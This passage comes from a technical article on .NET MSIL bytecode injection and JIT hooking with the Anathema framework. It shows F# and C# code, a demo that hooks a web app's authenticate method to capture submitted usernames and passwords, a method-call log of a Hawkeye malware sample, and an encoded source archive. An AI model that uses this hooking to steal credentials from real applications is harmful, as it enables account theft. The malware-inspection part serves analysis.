if filteredMethod.Method.IsStatic || i > 0 then

// this check is necessary becasue the

// GetParameters method doesn't consider the 'this' pointer

let paramIndex = if filteredMethod.Method.IsStatic then i else i ‑ 1 if parameters.[paramIndex].IsEnum then

// consider all enum as Int32 type to avoid access problems

ilGenerator.Emit(OpCodes.Box, typeof<Int32>)

elif parameters.[paramIndex].IsValueType then // all value types must be boxed

ilGenerator.Emit(OpCodes.Box, parameters.[paramIndex])

// store the element in the array

ilGenerator.Emit(OpCodes.Stelem_Ref)

// emit call to dispatchCallback

let dispatchCallbackMethod = Type.GetType("ES.Anathema.Runtime.Dispatcher") .GetMethod("dispatchCallback", BindingFlags.Static ||| BindingFlags.Public) ilGenerator.EmitCall(OpCodes.Call, dispatchCallbackMethod, null)

ilGenerator.Emit(OpCodes.Ret)

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

The call will end up invoking a framework method that is in charge for the dispatch of the call to the user defined code.

‑‑‑[ 4.5 ‑ Invoking the user defined code

In order to make the code easy to extend, we can implement a mechanism that will load a user defined Assembly and invoke a specific method. In this way we have an architecture that resembles that of a plugin‑based architecture. We call these plugins: monitors. Each monitor can be configured in order to intercept a specific method.

In order to locate the monitors we will use the software design paradigm "convention over configuration", which implies that all classes whose name ends in "Monitor" are loaded.

This last method is very simple, it just retrieves the MethodBase object from the stack in order to pass it to the monitor and finally invoke it. The assemblyLocation parameter is the one that specifies where the user defined Assembly is located.

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑let dispatchCallback(assemblyLocation: String, argv: Object array) = if File.Exists(assemblyLocation) then

let callingMethod =

try

// retrieve the calling method from the stack trace

let stackTrace = new StackTrace() let frames = stackTrace.GetFrames() frames.[2].GetMethod()

with _ ‑> null

// invoke all the monitors, we use "convention over configuration"

let bytes = File.ReadAllBytes(assemblyLocation) for t in Assembly.Load(bytes).GetTypes() do try

if t.Name.EndsWith("Monitor") && not t.IsAbstract then let monitorConstructor = t.GetConstructor([| typeof<MethodBase>; typeof<Object array>|]) if monitorConstructor <> null then monitorConstructor.Invoke([|callingMethod; argv|]) |> ignore with _ ‑> ()

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

‑‑‑[ 4.6 ‑ Fixing the SEH table

We are near the end, we have modified the MSIL bytecode, we have created a dynamic method and a trampoline. The final step is to write back the CORINFO_METHOD_INFO structure and call the real compileMethod. Unfortunately by doing so you will soon receive a runtime error when you try to instrument a method that uses a try/catch clause.

This is due to the fact that the creation of the trampoline has made the SEH table invalid. This table contains information on the portions of code that are inside try/catch clauses. From [11] we can see that by adding additional MSIL code, the properties TryOffset and HandlerOffset will assume an invalid value.

This table is located after the IL Code, as shown in the following diagram:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| Fat Header |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| |

| IL Code |

| |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| SEH Table |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

We also have a confirmation from the source code, in fact in corhlpr.cpp ([12]) we can see that the SEH table is added to the outBuff variable after that was already filled with the IL code.

So, to get the address of the SEH table it is enough to add to the IlCode pointer, located in the CorMethodInfo structure, the length of the MSIL code.

Before showing the code that does that we have to take into account that the SEH Table can be of two different types: FAT or SMALL. What changes is only the dimensions of its fields. So fixing this table it is just a matter of locating it and enumerating each clause to fix their values.

The following F# pseudo‑code does exactly this:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑let fixEHClausesIfNecessary(

methodInfo: CorMethodInfo,

methodBase: MethodBase,

additionalCodeLength: Int32) =

let clauses = methodBase.GetMethodBody().ExceptionHandlingClauses if clauses.Count > 0 then

// locate SEH table

let codeSizeAligned =

if (int32 methodInfo.IlCodeSize) % 4 = 0 then 0 else 4 ‑ (int32 methodInfo.IlCodeSize) % 4

let mutable startEHClauses =

methodInfo.IlCode +

new IntPtr(int32 methodInfo.IlCodeSize + codeSizeAligned)

let kind = Marshal.ReadByte(startEHClauses)

// try to identify FAT header

let isFat = (int32 kind &&& 0x40) <> 0

// it is always plus 3 because even if it is small it is

// padded with two bytes. See: Expert .NET 2.0 IL Assembler p. 296

startEHClauses <‑ startEHClauses + new IntPtr(4)

for i=0 to clauses.Count‑1 do

if isFat then

let ehFatClausePointer = box(startEHClauses.ToPointer()) :?> nativeptr<CorILMethodSectEhFat> let mutable ehFatClause = NativePtr.read(ehFatClausePointer)

// modify the offset value

ehFatClause.HandlerOffset <ehFatClause.HandlerOffset + uint32 additionalCodeLength ehFatClause.TryOffset <ehFatClause.TryOffset + uint32 additionalCodeLength

// write back the result

let mutable oldProtection = uint32 0 let memSize = Marshal.SizeOf(typeof<CorILMethodSectEhFat>) if not <| VirtualProtect( startEHClauses,

uint32 memSize, Protection.PAGE_READWRITE, &oldProtection) then Environment.Exit(‑1)

let protection = Enum.Parse( typeof<Protection>, oldProtection.ToString()) :?> Protection NativePtr.write ehFatClausePointer ehFatClause

// repristinate memory protection flags

VirtualProtect( startEHClauses,

uint32 memSize, protection,

&oldProtection) |> ignore

// go to next clause

startEHClauses <‑ startEHClauses + new IntPtr(memSize) else

//... do same as above but for small size table

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

Once we have fixed this table we can finally invoke the real compileMethod.

‑‑[ 5 ‑ Real world examples

The code presented is part of a project called Anathema that will allow you to easily instrument .NET programs. Let's try to use the framework by instrumenting a web application in order to steal the user passwords and to instrument a real world malware in order to log all method calls.

‑‑‑[ 5.1 ‑ Web application password stealer

Let's see how we can use this instrumentation method in order to implement a password stealer for a web application. For our demo we will use a very popular .NET web server called Suave ([13]). We will write the web application in F# and the password stealer as a C# console application, in this way we can instrument the interesting method before it is compiled. In the other case we have to force the .NET runtime to recompile the method in order to apply the instrumentation (see [14] for a possible approach).

The web application is very simple and contains only a form; its HTML code is shown below:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑<h1>‑= Secure Web Shop Login =‑</h1>

<form method="POST" action="/login">

<table>

<tr>

<td>Username:</td>

<td><input type="text" name="username"></td> </tr>

<tr>

<td>Password:</td>

<td><input type="password" name="password"></td> </tr>

<tr>

<td></td>

<td><input type="submit" name="Login"></td> </tr>

</table>

</form>

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

The F# code in charge for the authentication is the following:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑let private _accounts = [

("admin", BCrypt.HashPassword("admin"))

("guest", BCrypt.HashPassword("guest"))

]

let private authenticate(username: String, password: String) = _accounts

|> List.exists(fun (user, hash) ‑>

let usernameMatch = user.Equals(username, StringComparison.Ordinal) let passwordMatch = BCrypt.Verify(password, hash) usernameMatch && passwordMatch

)

let private doLogin(ctx: HttpContext) =

match (tryGetParameter(ctx, "username"), tryGetParameter(ctx, "password")) with | (Some username, Some password) when authenticate(username, password) ‑> OK "Authentication successfully executed!" ctx

| _ ‑> OK "Wrong username/password combination" ctx ‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

So, the best way to intercept passwords is the 'authenticate' method. We will start by creating a class in charge of printing the received password, this is done by creating the following simple class:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑class PasswordStealerMonitor

{

public PasswordStealerMonitor(MethodBase m, object[] args) {

Console.WriteLine(

"[!] Username: '{0}', Password: '{1}'", args[0],

args[1]);

}

}

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

Now, the final step is to instrument the application, this is done using the following code:

‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<START CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑// create runtime

var runtime = new RuntimeDispatcher();

var hook = new Hook(runtime.CompileMethod);

var authenticateMethod = GetAuthenticateMethod(); runtime.AddFilter(

typeof(PasswordStealerMonitor), "SecureWebShop.Program.authenticate");

// apply hook

var jitHook = new JitHook();

jitHook.InstallHook(hook);

jitHook.Start();

// start the real web application

SecureWebShop.Program.main(new String[] { }); ‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑<END CODE>‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑#‑‑‑‑‑‑

Once the web application is run and we try to login, we will see the following output in the console:

‑= Secure Web Shop =‑

Start web server on 127.0.0.1:8080

[14:45:49 INF] Smooth! Suave listener started in 631.728 with binding 127.0.0.1:8080 [!] Username: 's4tan', Password: 'wrong_password'

[!] Username: 'admin', Password: 'admin'

‑‑‑[ 5.2 ‑ Malware inspection

Let's consider a sample of the Hawkeye malware, written in .NET, with the following MD5 hash: 130efba199b389ab71a374bf95be2304.

The sample contains two levels of packing. We could trace the packers but let's focus on the main payload (MD5: 97d74c20f5d148ed68e45dad0122d3b5). When the main payload is launched the following method calls are logged:

c:\>MLogger.exe malware.exe

[+] Debugger.My.MyApplication.Main(Args: System.String[]) : System.Void [+] Debugger.My.MyProject..cctor()

[...]

[+] Debugger.My.MyProject.get_Application() : Debugger.My.MyApplication [+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyApplication..ctor()

[+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyProject+MyForms..ctor()

[+] Debugger.Debugger..ctor()

[+] Debugger.Clipboard..ctor()

[+] Debugger.Clipboard.add_Changed(obj: Debugger.Clipboard+ChangedEventHandler) : System.Void

[+] Debugger.My.Resources.Resources.get_CMemoryExecute() : System.Byte[] [+] Debugger.My.Resources.Resources.get_ResourceManager() : System.Resources.ResourceManager

[+] Debugger.Debugger.InitializeComponent() : System.Void

[+] Debugger.Debugger.Decrypt(

encryptedBytes: System.String, secretKey: System.String) : System.String [+] Debugger.Debugger.getAlgorithm(secretKey: System.String) : System.Security.Cryptography.RijndaelManaged

[+] Debugger.Debugger.Decrypt(

encryptedBytes: System.String, secretKey: System.String) : System.String [+] Debugger.Debugger.getAlgorithm(secretKey: System.String) : System.Security.Cryptography.RijndaelManaged

[+] Debugger.Debugger.Decrypt(

encryptedBytes: System.String, secretKey: System.String) : System.String [+] Debugger.Debugger.getAlgorithm(secretKey: System.String) : System.Security.Cryptography.RijndaelManaged

[...]

[+] Debugger.Debugger.IsConnectedToInternet() : System.Boolean

[+] Debugger.Debugger.GetInternalIP() : System.String

[+] Debugger.Debugger.GetExternalIP() : System.String

[+] Debugger.Debugger.GetBetween(

Source: System.String, Before: System.String, After: System.String) : System.String [+] Debugger.Debugger.GetAntiVirus() : System.String

[+] Debugger.Debugger.GetFirewall() : System.String

[+] Debugger.Debugger.unHide() : System.Void

[+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyComputer..ctor()

[+] Debugger.Debugger.unhidden(path: System.String) : System.Void [...]

[+] Debugger.My.Resources.Resources.get_mailpv() : System.Byte[] [+] Debugger.My.Resources.Resources.get_ResourceManager() : System.Resources.ResourceManager

[+] Debugger.Debugger.HookKeyboard() : System.Void

[+] Debugger.Clipboard.Install() : System.Void

[+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyComputer..ctor()

[+] Debugger.Debugger.IsConnectedToInternet() : System.Boolean

[+] Debugger.Debugger.IsConnectedToInternet() : System.Boolean

[+] Debugger.My.MyProject.get_Computer() : Debugger.My.MyComputer [...]

‑‑[ 6 ‑ Conclusion

Instrumenting a .NET program via MSIL bytecode injection is a pretty useful technique that allows you to have full control of method invocation by using a high level .NET language.

As we have seen, doing so requires a lot of attention and knowledge of the internal workings of the CLR, but in the end the outcome is worth the trouble.

‑‑[ 7 ‑ References

[01] Metadata and Self‑Describing Components ‑ https://goo.gl/bbSG7p

[02] The .NET File Format ‑ http://www.ntcore.com/files/dotnetformat.htm

[03] Standard ECMA‑335 ‑ https://goo.gl/J9kko6

[04] corjit.h ‑ https://goo.gl/J68Poi

[05] corinfo.h ‑ https://goo.gl/G31KHP

[06] OpCodes.Calli Field ‑ https://goo.gl/D7ug93

[07] OpCodes.Ldftn Field ‑ https://goo.gl/sHzz1S

[08] Expert .NET 2.0 IL Assembler ‑ https://goo.gl/3LKLSW

[09] OpCodes.Ldc_I4 Field ‑ https://goo.gl/qEW2Lx

[10] OpCodes.Call Field ‑ https://goo.gl/29rqZk

[11] ExceptionHandlingClause Class ‑ https://goo.gl/bjLqSv

[12] corhlpr.cpp ‑ https://goo.gl/DDVKgH

[13] Suave web server ‑ https://suave.io/

[14] .NET CLR Injection ‑ https://goo.gl/nryxYB

‑‑[ 8 ‑ Source Code

begin 766 Anathema.zip M4$L#!!0``````'E8ADL````````````````)````06YA=&AE;6$O4$L#!!0` M```(`'E8ADM9G."55P,``(<1```8````06YA=&AE;6$O06YA=&AE;6%3;&XN M<VQNK9;+CM,P%(;75.H[5,,&)!SY&ML+%HX3PP+0B'+9=)‑IW1)(ZU$N(`0\

M&0L>B5?`85)H6JB:M)LD/C[YSY<_B7U^?O\Q'CW/YH4KW;*:O,G*.LTGTZI>

M9&XR=7E=96XS,5EN'TV,*]:IS[%%V001#B`<C^[OW83H>'07N0MLTQ_[F0`& MF%$,`]04W63K>OV?5.A3*<1(‑JG7A7MOY]6#JR]&)9`F&@("D0$(Q01$AD8` M0@VIX3(QD?YV]=`K7#UW\P_/LILB+3Y?/>H,9SO7P;R\]>I‑QA?*96@2KH$1 M,0,4Q2$0TC`@#%8"1Z%DL1<?CY+‑HB4:B/;*EI6O^/L\:PZ[%))`KC`G@'&. M``VI!D*%"4B(#CF'1F@F_T_A43DR,@(L)L3?S110'&(@,8PYQUQR$;84R310 MF[1Z9]=I\‑2Y#[[Z06RV'PB6?TECS$(8$06XB"‑`!:=`1A(!R37CS,0P1/CB MI‑H5UE<_B,WV`[ND$<&:ADH`$D7^S4(D@"0R!H((33@)I8K"BY.^K#=5MKZ# M/0S/#F,=9*3B))2"@)`;Z8L:"I0FGMLPC@734,?\(A_C\V=NM;*%+[J]G+7G MW:^280X)]6\8,Y$`RG4,E((08!A"[$W$V(B+.#BU\[JP;^W‑])V[]:6[@5EG MM.N7_V>QQC0&AB‑?`G,&I,8QB)0@S/_8R/_"%_&K0W"=EN4G5RRFE4WSQL3C M\[/_3W;M1@FBQD.!4%/5V*U`)`@$(2,1A[$1B+']IWF2NYLT'X_NW5WX4LW: M_6"[B&NW66:KNDB;P76>5DN_G)?‑(]T6=IOD[[X7VYMZ]55M/D_T]6L_W1DW M"2]M;M/2[J1L(W^3/%@'XP"KQ3Y"Y<IJ%^NTY3GHT`;*%_MH]7*U_QR#%:,Z MRQ<!/$/OKUF'C.W<!51;SG]KGK;)]/)RB&++>(9>7R^'J1[U\K1ML)>70Q1; MQC/T^GHY3/6HEZ=MU+V\'*+8,IZAU]?+8:I'O3RM@^CEY1#%EO$,O;Y>#E,] MZN5I[4\O+X<HMHQGZ/7U<ICJ42]/Z]1Z>3E$L64\0Z^OE\‑4CWIY6I_8R\LA MBBWC&7I]O1RFVG(.:UBWO:AO7&]M467V7[WSTVSQ9_S"+:S/,.K9‑/EG@3^1 M\>@74$L#!!0``````'E8ADL````````````````:````06YA=&AE;6$O15,N M06YA=&AE;6$N0V]R92]02P,$%`````@`>5B&2YJ‑?$:7`@``]04``"D```!! M;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+T%S<V5M8FQY26YF;RYF<Y54VV[3 M0!!]K]1_&.6%M"+N):5‑*X144JCR4$!‑J800#^OU.‑YVO6OM)<6?Q#?P@,0/ M\0O,;IS8#;V(1++W<N;,F9O__/RE6(FV8ASAW30Y5<P56+)DK`TFI]9BF<IZ MHG*]N;&YH2M4,*VMPS*YQ%PB=T*KM7.OG"B1",I*2#13‑'/!T3Z,FBB'1E=+ M4'"RLP/GJ‑`P"<&O*5EP`BS5W@&C12,*A`6NE3‑:2LS`%4;[64%OA)R.])U0 M,XAT%AWH')AS1J3>H4U@7#`UPP"VV%[`G$F/%IR&4F<BKR.;:%4$NB!`<\$< M.;T3KNAJ2C8WOKY>;DY@F;\KX23V>^OY[6V]^?:PP1E:;D057/9[C\/&6N5B MY@U['EA63‑5/03X9G7GN_D?E6%>U$;."C%9+^/T#8']W[^AQLRO#,B(WMT\J M]M)Y@TM(3/P4G0M%I6BNA16IQ%"IG$FJ8<EN0^$*.JHK6@E%&V';;E':P;RQ M"FS!=/SQ`CBE1BM4CKH")CG4VH‑"S,(]X]23Q!$Y_Z7,C2XC5R!Z&=HL"FCE MM9T5V)SQ"#J0,!<9U[JEM>O'F‑K`K^[U]/GGR5EH?NK*Z(]V.E^%+D4*(E\H MK8R^H1D‑8/Q>:8M9$_5]Q^=>9/U>.MSG!X=L‑!BFZ:O!P>[>:'`\/,X&H^&(

M#X^&A\<L/>P4XQJ‑I:[K3D=0U)V&,)Y66&<;?6T,M/*FF;:32!<?B]\%NR&>

MAK][+E1[WC5XZX7,X(,O4S2=XTN<BQ5%?'RAVG(2:"OD8;J9E*1K‑?;$7C>(

M#'‑&'1AN%_045[9B;'S9!6M:@[<45`2_V'Y!\8,M])V"%"G<17P/]7@32K^W ME^PFVXO</HNC_^/(]_3%74<O:Y;1)SRDI;_U%U!+`P04````"`!Y6(9+@LO( M<W$$``!&#@``,0```$%N871H96UA+T53+D%N871H96UA+D‑O<F4O15,N06YA

M=&AE;6$N0V]R92YF<W!R;VJU5\URTS`0OC/#.PC#3,A,8R=‑*04<,R4MI0.% M3!‑^#K[(]KH1V))'DD/#\&8<>"1>@?5OG*0)!=I#)N/=U>ZW^ZVTTJ\?/^WG MEW%$9B`5$WQ@],RN08#[(F#\8F"D.NP<&,^=NW?LD12?P==D(D2D/M3V>]F" M(PAI&ND)E1>@U<!XD;(H,`AZYO@UU3IY:EG*GT),E1DS7PHE0FWZ(K8"F$$D M$I!6K+QLF;7;[?8‑C$B(?1HG0FI2AAX8#QZ>C7/?QY<:>(9`C:B>MMU:T437 M=L_J4$,1QX*;B12),LA0\(#I/('C2Z:T>MBZ&=>MMD&L`OM(9EGI^8D4:9*+ M4(B!0W:12IH%;\(@"&!)V6Z1P8"T6L1PCL!++VQK25TY'$54AT+&J[XJ></M(9\/1^]MJU)5+L8Y+V5BSJ[9M:TE4657LG"2LL#Q^KO^WCX]Z/0][U%GK]L[ MZ#SI/PDZ!_T#O_^XO_^$>OL8:;&B<O(NU4FJ)_,$G#?,DU3.;6LAJZS.A=!O M:0PJH3XXQV/SD%.=0<)B2["MIKY>=*@4Q%XT1\55:QKJ>DG1L"\EBKX*^:5* M>+9G[IN[MG6U>F7Q>$IEDH6HU'LF[HFLBAL,:KRI%B?``0F%%XQG&^X<`B:Q M8LK1,D7,VTPJ‑QO2W9(FTA*R"*I&M98[=;UYM_?I][5FR_OU>]%NV'@5BEP\ MGL>>B*K\FJ(EL[P9PC2*2IMF<[Q+‑(O9‑]332*&3ZGN1+8M\&J''TJ`6+#=A MMKT=CW$WC^"BHUJ\P!(R#IBOTI1CR8^.7[P_>38Y/QP>V]:*LEKSD4J./+W) MSC6G;UO‑[]JO\‑,8N,XK^!*Y:.!8I=+\=/8&@ZVNN"7NSB$"JF#!WCHM2>`) M'LVW,).QNXV83'\‑7DHLUV+FMC@I,?P_*Z<:XJ51<`XA2)RT0$ZY'Z4!#(Q8

M^4)&S,,9LL6J.%!R%#ND&L0/'FXX;=H[9(BC.94PX)!J2:,=,DJ]B/FO83X1 M7X`/O&X_?!0^#GN]X%&7]FG%>=Y+;(9GCS/)"2N_*FQ6#6X+VO%<8>:8T1]M M\HRN9?@6BRZ9KXSZ",NJNZW8.*,3%C4\5=/@E(?"##‑/&TU?`0VPEG^P>HL] M,(/,:!W4E@O!&>,L3N,/3*4T&NLT8*(DKKES<>‑N‑JQ&O.'T>K:UV6YS;PZG M0JB:Q(]36`V^.6H/+XRMJF%6D_R+>U9_M^V:YN)61<9'KY7[\K[;‑[MN/;G<

M&8[6QM6KW`KEO;/5+H"44`IEJ<O/CEN,;5MKX6HLZS4OI%FAZZ,/CQ;YE2FX MF5+6,‑TF=>[L:BK=`ONM%/9FD?Q+F9NES;Z+;M_TP%CSO[C1W^MT\/5#8GP; MA7,R%ZDD^8N%X‑7?!Z5V"`V"0JZI^D(85B(`(CC^0H(H4)R[)1X^>;X2R@.2 M<GP$92.$,&V2NL@Y9J)P?$94$JBJ2A+!.*Z'K`‑VB`(@:^^0,H:90R[R(‑EE M$%]E$.()6[S‑REH4>F?=]C#4(#>9=CKX5U_OG=]02P,$%`````@`>5B&2YIA M,3?\!@``UQ8``"0```!!;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+TAE861E M<G,N9G.]6‑V.DT`4OC?Q'29ZXR;NVK*KKALUH73:HBP0H.M?3#‑MIUT4F`I# MM<8W\\)'\A4\,T!;V$)K_.G‑LN=\?'/^Y[0_O_^(2$B3!9E0A‑T3‑2+\FH;D

M1&,QO7WK;L0^DSA"=Y[<N7WK]BVVH!%R5PFG8>F?$R>‑N!_2$SWB‑&8+E\9+ M?T(3\<Z[IVK*F07@Y^]OWPK9‑`TH&E`RI7&"GMV^A>##5PN*[)AQ.N$^B]`S ME']`G7^^(5OMXY%IJ9J&71<@K2^M]@V]@]6N91IO,KVR4__*T3V<`<YN`*12 ML^R<X?P&`+_&VC!_O]VJ46<'28S2C‑D8<U8'K!IU?A/8'ZI.‑S>IM2‑HFJH‑

M<&Y.J\[GRXYNYJ8(T%9JH!A>^+P7D#EZMOVV9CDO=&_4,_HCU\:X.[)L+XM; M]FG7@?6WN(I5:K!=W!GV1YK5Q=OH,_3@`9K3B,:$4W1G2L?I?$[&`;V#)FQ* MT;V(R8?CD$3SP(_FB"V@0OVO1!18<M1X&(ZT[;/.Q5FO*"(Q17Z$\‑3GQ]&Q MQJ#DHY2B$(YII‑/‑GK7%UVZ5;`?C@#J:HH!‑2'"\)#$<,F,UC(9EN:(N‑&Q[ M(\OI8F>+61',P,,2BNB7"5W(9F(QM%H‑G:<Z?>R‑;&QZ^O!R0P55M.<‑V]GR M2=D+/]N`S_:!.ZJIJ^[FA?/:%X80BQX4KB[!N>$R"/T\O‑.L'$*R0BE$939A MH7]O<00A3GB<RFG3P*U=6E=K:J69>A*RY8&TKHN5‑>U9,RU@CY5MWJ2&&!+2

M&VFJ83AXW5?M5D[^*B8+%%)^S8">!$&"/OO\&BUB‑J:‑A%`8V#&P>K7N/J7@ MU*5‑(8VXX`G8/*7)`[KPQ5,SJ6["'VVD:IY^A:%);`=KJH>S`9:'9)/R["PX

M`BZ4!&6=+AJ:0#B6%,7T4^K'%#3^;$9C88Z_MDQV>Y,IIC6R=?/*>HG!*J.8

M?Z+H"C>[?@)S!?AM/5JRCV($0,N"`76S[:5NCZZPH_=T<$JWS)RQW;KAU;V` M?%T=H>2COT!+&OLS?R(‑1L?@)ERD(8R&J<P42SF:,NDUFJ5!@,!A%BSI"7(I M15#4,@UC&K#/M=YB>,QM45J%=Q]\#@,"$DC%DY\@?BUF!YVDTA`:S<&&DQI. M!QM6‑BEESBJ%##:*D<9%]&1‑U[#HE[;E>*/‑K=TZ7W‑94;!"?KA@,1>6@>]1

M4W/IQLCUAIU\.6@5‑'GE"_=(A'0#)3P=UU>%YMI&$2IE0R+"ET`F@BE*Z(*` MB](M41"<H6O&Q10'B=0WMFH'+EK7RR?WV>8$C04!O(G&)/$G:`S1^RA::^8' M5‑X)<2C+HY9U?:.>;SBM[‑JC>0P$‑]04BWZ#N.>HE[C8+C;,:A#DI`FZ)DLJ M8HL[‑IK%)*S+M6KH?5‑<8G8VWY4M/C*=(M.R$RACL(B*>VR1(`@M"?QY)‑(? M(L)1^Q$:KR#T8Y9&4Q+[]:‑FV#%T=S!RL>:(*T@%‑XKMIMR+17;#‑(%9%L`J M+"M$I#&F("'@D<QR=D>CU@E"]U*((UA2E%‑R5‑V8=`BL!K,6%H5E96T",TJK M41?WU*$AD[<MQJ^A$#7=\P:Z"‑>CTK;:4UU/C'M0E.4Z‑KH"O2WL8Q,FDCRW M)!\`249^6MJ_#`NH84WK@^;QMN)2=5\*EH?;0E,5@_P*`NSTA;+DFXR[]\;& M0J.4]VG'LK'CB;8OR5VOFWM6,DI8FLM/M^7K@Q_N2H$'S^7P=RQ+<J>KDO2M@WO"QO.J7.[G9V6I‑E`=84=%:JCRJXG2JLBMH>D)>07?M:!&L8QG6=$S+‑43 M\LJQNJ3)+=PDRY1AAT‑O9B5[HZWLT@US9<4J6XZF]N.R%**CFF^$$^VRPAW` M^!8%5Q%[CI[955$,\XA67,Z‑>5*1%LZU*W*S*[/5JH@+8RK&7ZG&$!?9:3^I M*AWAEE*16KIH(WEN)G_WU)5+V//WY?\‑LH+[^5[VYZ4?34]<V$G@0O9)<)2!

M‑R4IQJWKS\7R!.R;`Y<D@/F3799:0))$(#28<?P"0A/Q4Z49"["(B(5HP>.G M@+=Y_'SW&Y<PLP\D%]"]W/\B.#‑6&YQBI%Y49^QNN$.YF``R3!<H,[X1"><? M#K[8GC*[D>);,Y!U5KP&8*:A&@‑$9J+]:#<H+YF+2@GM!@/='O,]6&2C(O>U M)S9SN!/X!:B`_(URN(]L,ODH>NY&85S*/:.Q+C+(`':P8&U5#5+^!G4(4H?"

MFAZ$<6'%VM‑+Y(O+P;_F/..!;,M&4%%SUD(NF<6Q#;50Z:W=2$/L‑C>P?S+\

M&A*J&UF^7‑AW\;4;0@^C9PT‑U!P0+UY9LUE"^5Z8`=]H^'53.V9U$1_"ET/W M<\J!4NJY_Q+6'N$'!/54.2BHI\K>H&:P@\‑ZJAP4UKVWWXYA]@M02P,$%``` M``@`>5B&2X`:`R!>`0``<P(``",```!!;F%T:&5M82]%4RY!;F%T:&5M82Y# M;W)E+TYA=&EV92YF<W52S4["0!"^D_`.$P\&3.T!KD""!1*,8F.#%^‑ATYV6 MU>ENLYV"^&H>?"1?P>T/HB'L:>;;F6^^^7:_/[^TR+#(18PPC_RI%KS!3/B! ML=CM=#LF1PW1OF#,_B7^8ZE99>@O‑:,U>81VJV(LJI[,R)(05H+5%F'<[8`[ MSZ,9T3++C>7>14#V5;$OB2X\"`21TFE@]!8=I]$P/L7\B&4%>A!:+‑PPC%3J M"MF6V)^\‑#/PW6G1X"2%;"%%OE7<ZSM)IPK>7"'2<‑!JB)#O1,%S:XT]PWIC M#*'0\*0LEX)":QAC[K7#*)]*Z905'JP=‑!R`W$7J`SUH"NN]$EKAKLT/=9>N M‑:$'DBW^1^Y:9T*+%.6BU#5!:%3E=N^L.^<6J?@:5M[G"(')<D5XC[PQ<H8Q M"2M:XR42IH(13'+P\>H8Z/I)<[8C]S^:]J5.S,1=.<"YO2"1_C8<@^L)U,M6 MN_T`4$L#!!0``````'E8ADL````````````````:````06YA=&AE;6$O15,N M06YA=&AE;6$N2&]O:R]02P,$%`````@`>5B&2QSE15Z9`@``]04``"D```!! M;F%T:&5M82]%4RY!;F%T:&5M82Y(;V]K+T%S<V5M8FQY26YF;RYF<Y54VT[; M0!!]1^(?1GDAH,8D%`B@JA(‑+<T#;44H4E7U86V/XX7UCK674']2OZ$/E?I# M_87..DX<4BYJ(ME[.7/FS,U_?O[2HD!;B@3A[20ZU<+E6(CH/=%M=&HM%K&J MQCJCS8W‑#2I1PZ2R#HOH$C.%B9.DU\Z]=K+`:$1%*16:"9J93‑`^C!IKAX;* M!2@XV=V%<]1HA(+@UQ0B.`$1DW<@>‑&(`FDA(>T,*84IN‑R0G^;\1LCXB.ZD MGD)‑9]$!92"<,S+V#FT$HUSH*0:PQ?8"9D)YM.`("DIE5M5LLE41Z((`2J1P M[/1.NGQ54[2Y\?758G,"B_Q=2:>PVUG/;V?[];>'#<[0)D:6P66W\SAL1#J3 M4V_$\\"B%+IZ"O+)4.H3]S\J1U161DYS‑EHNX?</@+W^8/BXV941*9.;VR<5 M>^6\P06D3OP$G0M%Y6BNI96QPE"I3"BN82%N0^%R/JI*7DG‑&VG;;M'D8‑98 